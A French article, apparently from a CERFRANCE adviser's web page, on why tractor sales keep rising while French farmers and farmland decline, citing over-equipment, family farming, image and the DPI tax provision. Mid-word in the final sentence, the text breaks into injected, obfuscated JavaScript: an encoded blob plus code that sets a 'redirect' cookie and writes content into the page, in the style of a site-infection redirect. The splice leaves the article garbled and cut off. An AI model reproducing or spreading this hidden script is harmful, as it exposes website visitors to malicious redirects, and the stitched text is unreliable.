Analyse du paradoxe Française dans la filière bovine par un expert CERFRANCE.
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Lait : le paradoxe français ! par Jean-Yves Morice
Analyse de la filière laitière par un expert CERFRANCE.
Le paradoxe des tracteurs par Alain Le Boulanger
Le paradoxe des tracteurs par Alain Le Boulanger, Directeur régional économique au CERFRANCE Normandie.
L’agriculture et le paradoxe du tracteur
En une vingtaine d’année, l’agriculture aura vu fondre plus de la moitié de ses effectifs : en passant de plus de 2 millions d’actifs agricoles (exploitants et salariés confondus) en 1998 à moins de 1 million en 2010. L’agriculture voit ainsi disparaître un peu plus de 3% de ses exploitants chaque année : les installations de jeunes agriculteurs ou moins jeunes, ne permettant pas de remplacer les départs en retraite et les arrêts, précoces ou non. Dans le même temps, la France perd en moyenne 66 000 ha de terres agricole chaque année, suite à l’urbanisation et au grignotage des infrastructures, soit l’équivalent d’un département tous les dix ans.
Ces deux tendances servent souvent à illustrer la morosité du milieu agricole et pourtant. Il suffit de voir l’empressement de tous les candidats à la présidentielle pour battre des records de présence au Salon International de l’Agriculture pour comprendre que les agriculteurs et plus largement le milieu rural demeurent au plus près des attentions politiques, bien loin en tout cas devant la problématique des banlieues, qui il est vrai ne bénéficie pas d’un SIB « Salon International de la Banlieue ».
Le poids de l’agriculture ne se compte plus en nombre d’exploitants
L’influence de l’agriculture ne se chiffre donc plus en termes de poids démographique ce qui est en soit une bonne nouvelle. Si la profession en France a toujours fait du nombre d’agriculteurs un objectif principal, l’attitude est assez différente dans d’autres pays européens. Ainsi il y a une dizaine d’année, lors d’une discussion avec un leader syndical de LTO (l’équivalent de la FNPL pour les producteurs de lait des Pays-Bas), à une question sur la problématique de la démographie agricole, ce représentant professionnel m’avait répondu : « Chez nous, on se moque du nombre d’agriculteurs, ce n’est pas la dessus que se bat la LTO : On préfère moins d’agriculteurs mais qu’ils soient heureux ! ».
Un autre chiffre interpelle le raisonnement économique : Malgré la baisse d’hectares cultivés et malgré la baisse d’actifs agricoles (et par conséquent de chauffeurs potentiels), le nombre de tracteurs vendus connaît une tendance haussière sur les vingt dernières années. Bien entendu cette tendance n’est pas régulière : elle suit peu ou prou la volatilité des résultats avec un léger décalage.
Cette statistique du principal outil de travail en agriculture apparaît comme une réelle « bizarrerie » économique si on admet qu’en 2012, la conversion des bœufs en tracteurs est achevée ! Peut-on imaginer un nombre de taxis en hausse tandis que le nombre de chauffeurs diminuerait et que le nombre de passagers à transporter (ou nombre de kms à parcourir) serait lui aussi à la baisse ? Sauf à imaginer que la fiabilité des taxis se dégradant, chaque chauffeur investit dans 2 taxis, pour les jours où le premier tombe en panne.
Alors comment peut-on tenter d’expliquer cette curiosité agricole ?
– Malgré la montée en puissance des tracteurs (En 2008 , la puissance moyenne des tracteurs standards immatriculés en France s’élève à 122 chevaux DIN gagnant ainsi 15 chevaux en 8 ans) et donc leur capacité à tracter des matériels de plus en plus performants (charrue, remorque, pulvérisateurs ) l’acquisition de matériel revêt pour certains agriculteurs un caractère assurantiel. La météo perçue comme de plus en plus capricieuse pousserait ainsi certains agriculteurs à se suréquiper afin de pouvoir faire l’ensemble de leurs travaux y compris les années où la fenêtre météo est la plus courte, que ce soit pour la moisson, les ensilages, etc..
– Le maintien du modèle d’une agriculture familiale et non d’une « agriculture qualifiée d’industrielle qui reposerait sur de grosses structures détenues par des actionnaires et qui embaucheraient des salariés est probablement une autre raison. Ce modèle « industriel » pousserait inévitablement à une rationalisation des outils de production : les salles de traites tourneraient 23h/24 avec une heure pour la maintenance, les tracteurs feraient davantage d’heures.
– Par ailleurs, ce modèle d’agriculture familiale si chère à la France se traduit par le fait que le chef d’exploitation est aussi le chauffeur du tracteur. Qu’il s’agisse du choix du tracteur et de l’importance de l’image véhiculé par ce dernier, ou des choix des options, nous pourrions parier que si les tracteurs étaient conduits pas des salariés, nous assisterions à une probable descente en gamme.
– Enfin, il n’est pas possible d’évoquer une éventuelle « sur- mécanisation » sans évoquer la fiscalité attractive que constitue la DPI. L’avantage retiré en termes d’optimisation sociale et fiscale d’un investissement rapidement renouvelé constitue pour certains une partie non négligeable de leurs revenus. L’anecdote du chef d’exploitation présentant ses tracteurs à un conseiller pour sa première visite illustre cet état de fait : 3 tracteurs dans la cour : « celui-là c’est le mien dit le chef d’exploitation, à côté celui de ma femme. Et ce tracteur neuf ? questionna le jeune conseiller. Ah, celui-là, c’est celui du comptable répondit l’agriculteur ! Sans ouvrir le débat sur la fiscalité, certains savent extrêmement bien « jouer » de la DPI, même si certains s’y sont laissés prendre dans des périodes de forte variabilité des résultats.
Cette statistique, pour autant curieuse qu’elle puisse apparaître à la rationalité économique n’est pas forcément une aberration. Le renouvellement améliore les conditions de travail des agriculteurs (confort et sécurité), et peut accroître l’attractivité du métier. Il contribue à moderniser l’agriculture française et permet aux agriculteurs d’être constamment à la pointe : la productivité à l’unité de main d’œuvre augmente sans augmenter la durée travaillée. Il permet de « faire vivre » un environnement agricole bien au-delà des seuls marchands de matériels, ce qui indispensable pour un maintien du tissu rural. Il illustre aussi la bonne santé relative de l’agriculture en ces temps de crise économique même si bien entendu la dispersion des situations individueiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘